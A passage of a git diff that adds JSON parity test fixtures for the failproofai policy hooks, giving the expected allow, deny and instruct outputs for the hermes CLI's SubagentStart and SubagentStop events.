100644 index 00000000..253b47ab --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a91f3093 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..5361f075 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ca938693 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..f3ab19da --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..67ee0404 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..3a8804ee --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..819b004b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f6aa7d02 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..edc9222a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..dda5069d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..49831705 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3f80da00 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c17dee7a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..059f4937 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..070c67eb --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..15f78f98 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b996211a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..11d5e6df --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + 